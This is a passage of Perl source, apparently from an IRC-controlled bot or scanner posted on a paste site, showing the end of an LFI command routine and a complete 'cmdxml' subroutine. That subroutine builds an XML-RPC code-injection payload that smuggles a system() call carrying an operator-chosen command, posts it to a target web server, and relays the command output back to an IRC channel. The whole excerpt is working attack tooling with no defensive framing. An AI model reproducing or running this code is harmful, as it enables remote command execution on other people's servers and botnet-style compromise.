  2047. $response = $browser->get( $url );
  2048. if ($response->content =~ /j13mbut(.*)j13mbut/s) {
  2049. &msg("$chan","15,1(4@9CMDLFI15)9 $1");
  2050. } else {
  2051. &msg("$chan","15,1(4@9CMDLFI15)4 No Output");
  2052. }
  2053. }
  2054.  
  2055. sub cmdxml() {
  2056. my $jed = $_[0];
  2057. my $dwa = $_[1];
  2058. my $chan = $_[2];
  2059. my $userAgent = LWP::UserAgent->new(agent => 'perl post');
  2060. $exploit = "<?xml version=\"1.0\"?><methodCall>";
  2061. $exploit .= "<methodName>test.method</methodName>";
  2062. $exploit .= "<params><param><value><name>',''));";
  2063. $exploit .= "echo'bamby';system('".$dwa."');echo'solo';exit;/*</name></value></param></params></methodCall>";
  2064. my $response = $userAgent->request(POST $jed,Content_Type => 'text/xml',Content => $exploit);
  2065. if ($response->content =~ /bamby(.*)solo/s) {
  2066. &msg("$chan","15,1(4@9CMDXML15)9 $1");
  2067. } else {
  2068. &msg("$chan","15,1(4@9CMDXML15)4 No Output");
  2069. }
  2070. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement